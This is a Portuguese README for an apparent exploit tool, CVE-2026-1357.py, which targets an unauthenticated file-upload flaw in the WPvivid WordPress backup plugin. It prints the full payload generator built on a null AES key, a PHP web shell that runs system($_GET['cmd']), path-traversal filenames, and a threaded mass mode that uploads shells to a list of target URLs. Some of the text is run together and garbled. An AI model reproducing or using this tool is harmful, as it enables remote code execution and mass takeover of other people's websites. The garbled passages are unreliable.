
Migration, Backup, Staging <= 0.9.123 - Upload de Arquivo Arbitrário Não Autenticado
CVE-2026-1357.py)Migração, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código
CVE: CVE-2026-1357 – CVSS 9.8 (Crítico)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py é uma ferramenta de exploração de prova de conceito para a vulnerabilidade WPvivid. Ela foca no tratamento defeituoso da sessão AES que permite a um invasor:
name) no payload.wpvivid_action=send_to_site.O script não tenta adivinhar ou abusar de chaves privadas diretamente. Em vez disso, ele simula o fluxo quebrado do WPvivid onde uma falha em openssl_private_decrypt() leva a cifra AES do phpseclib a ser inicializada com uma chave nula.
O núcleo da exploração está em gen_wpvivid_payload():
Ele constrói uma estrutura JSON:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
Ele serializa esse JSON (formato compacto, sem espaços).
Ele criptografa o JSON usando:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16Em seguida, ele prefixa:
"000" (um placeholder de campo de comprimento estático)."{len(cipher):016X}".O blob criptografado final é:
"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
Este blob é codificado em base64 e retornado como o valor final de wpvivid_content.
Função:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
Isso corresponde às expectativas de descriptografia do WPvivid no caminho de código vulnerável após a falha na descriptografia RSA.
O script tem dois modos principais mais uma capacidade de teste em massa:
mood1 – Gerador de Payload
wpvivid_content válido usando o truque de chave nula.mood2 – Testador de Alvo Único
Modo Massa (do mood1)
python3 CVE-2026-1357.py
Você verá uma interface baseada em Rich com um banner e seleção de modo:
mood1 – Gerador de Payloadmood2 – Testador de Alvo Únicowpvivid_content) que codifica:
Seleção do modo
Quando solicitado:
Choose mode (mood1/mood2) [mood1]:
Pressione Enter (padrão é mood1) ou digite mood1.
Nome do arquivo alvo / caminho
Você é questionado sobre:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Exemplos:
Para colocar um arquivo no diretório de backup do WPvivid:
Nx_.php
Para abusar de travessia de diretório (se permitido pelo alvo):
../../public_html/Nx_.php
O valor vai para o campo name do payload JSON.
Modo de entrada de conteúdo
O script exibe três formas de definir o conteúdo do arquivo:
EOF).shell.php).Você é solicitado:
Mode [1/2/3] [1]:
Modo 1 – Linha única
Single line content:
Exemplo de entrada:
<?php phpinfo();
Modo 2 – Múltiplas linhas
Enter file content, line by line. Type 'EOF' on its own line when done.
Você pode colar ou digitar um script PHP de múltiplas linhas e depois terminar com EOF em sua própria linha:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Modo 3 – Arquivo local
Local file path (e.g., shell.php):
O script lê o arquivo inteiro em file_bytes.
Geração do payload
Uma vez que o conteúdo é capturado, o script:
Você vê uma saída como:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
E um arquivo wpvivid_payload.txt é gravado:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
Após gerar o payload, o script pergunta:
Auto-send this payload to targets list (mass mode)? (y/N):
Se você responder y, ele inicia o modo massa com o payload e o nome de arquivo que você acabou de criar.
Arquivo de alvos
Exemplo de prompt:
Targets list file (one URL per line):
Formato esperado do arquivo (ex.: targets.txt):
https://site1.com
site2.com
http://site3.net
O script normalizará automaticamente as URLs base (adicionando esquema quando ausente).
Número de threads
Threads (concurrent sites) [5]:
Controla quantos sites são processados em paralelo.
Lógica por alvo
Para cada alvo:
Normaliza URL → base_url.
Chama:
send_wpvivid_payload(base_url, payload)
que:
wpvivid_action=send_to_site + wpvivid_content=<payload>.{"result":"success"} (verificação de formato compacto).Se o upload for considerado bem-sucedido:
shell_url como: